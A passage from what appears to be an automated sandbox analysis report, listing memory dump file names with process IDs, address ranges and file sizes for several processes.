-
memory/4192-174-0x0000000000000000-mapping.dmp
-
memory/4204-150-0x0000000000000000-mapping.dmp
-
memory/4252-176-0x0000000000000000-mapping.dmp
-
memory/4268-151-0x0000000000000000-mapping.dmp
-
memory/4272-284-0x000001F1BBCF3000-0x000001F1BBCF5000-memory.dmpFilesize
8KB
-
memory/4272-283-0x000001F1BBCF0000-0x000001F1BBCF2000-memory.dmpFilesize
8KB
-
memory/4308-177-0x0000000000000000-mapping.dmp
-
memory/4312-212-0x0000000000A40000-0x0000000000A42000-memory.dmpFilesize
8KB
-
memory/4312-210-0x0000000000170000-0x0000000000171000-memory.dmpFilesize
4KB
-
memory/4320-152-0x0000000000000000-mapping.dmp
-
memory/4332-190-0x00000289CF020000-0x00000289CF021000-memory.dmpFilesize
4KB
-
memory/4332-203-0x00000289CCEC3000-0x00000289CCEC5000-memory.dmpFilesize
8KB
-
memory/4332-179-0x0000000000000000-mapping.dmp
-
memory/4332-202-0x00000289CCEC6000-0x00000289CCEC8000-memory.dmpFilesize
8KB
-
memory/4332-201-0x00000289CCEC0000-0x00000289CCEC2000-memory.dmpFilesize
8KB
-
memory/4332-185-0x00000289CCE50000-0x00000289CCE51000-memory.dmpFilesize
4KB
-
memory/4360-153-0x0000000000000000-mapping.dmp
-
memory/4372-175-0x0000000000000000-mapping.dmp
-
memory/4392-154-0x0000000000000000-mapping.dmp
-
memory/4444-155-0x0000000000000000-mapping.dmp
-
memory/4516-156-0x0000000000000000-mapping.dmp
-
memory/4540-178-0x0000000000000000-mapping.dmp
-
memory/4556-279-0x000001E95F373000-0x000001E95F375000-memory.dmpFilesize
8KB
-
memory/4556-276-0x000001E95F370000-0x000001E95F372000-memory.dmpFilesize
8KB
-
memory/4556-157-0x0000000000000000-mapping.dmp
-
memory/4588-158-0x0000000000000000-mapping.dmp
-
memory/4616-230-0x00000207D9D53000-0x00000207D9D55000-memory.dmpFilesize
8KB
-
memory/4616-261-0x00000207D9D57000-0x00000207D9D59000-memory.dmpFilesize
8KB
-
memory/4616-229-0x00000207D9D50000-0x00000207D9D52000-memory.dmpFilesize
8KB
-
memory/4616-253-0x00000207DB990000-0x00000207DB991000-memory.dmpFilesize
4KB
-
memory/4616-259-0x00000207D9D55000-0x00000207D9D56000-memory.dmpFilesize
4KB
-
memory/4620-231-0x0000020C7A0A0000-0x0000020C7A0A2000-memory.dmpFilesize
8KB
-
memory/4620-232-0x0000020C7A0A3000-0x0000020C7A0A5000-memory.dmpFilesize
8KB
-
memory/4620-241-0x0000020C7A3F0000-0x0000020C7A3F1000-memory.dmpFilesize
4KB
-
memory/4620-254-0x00007FF69F280000-0x00007FF69F281000-memory.dmpFilesize
4KB
-
memory/4620-263-0x0000020C7A0A7000-0x0000020C7A0A9000-memory.dmpFilesize
8KB
-
memory/4620-262-0x0000020C7A0A5000-0x0000020C7A0A6000-memory.dmpFilesize
4KB
-
memory/4640-159-0x0000000000000000-mapping.dmp
-
memory/4692-160-0x0000000000000000-mapping.dmp
-
memory/4720-205-0x0000000000000000-mapping.dmp
-
memory/4764-161-0x0000000000000000-mapping.dmp
-
memory/4776-162-0x0000000000000000-mapping.dmp
-
memory/4780-278-0x000001AC28FF3000-0x000001AC28FF5000-memory.dmpFilesize
8KB
-
memory/4780-277-0x000001AC28FF0000-0x000001AC28FF2000-memory.dmpFilesize
8KB
-
memory/4872-163-0x0000000000000000-mapping.dmp
-
memory/4884-164-0x0000000000000000-mapping.dmp
-
memory/4888-267-0x000001B15B4A3000-0x000001B15B4A5000-memory.dmpFilesize
8KB
-
memory/4888-264-0x000001B15B4A0000-0x000001B15B4A2000-memory.dmpFilesize
8KB
-
memory/4888-291-0x000001B15B4A5000-0x000001B15B4A6000-memory.dmpFilesize
4KB
-
memory/4976-165-0x0000000000000000-mapping.dmp
-
memory/5028-166-0x0000000000000000-mapping.dmp
-
memory/5072-167-0x0000000000000000-mapping.dmp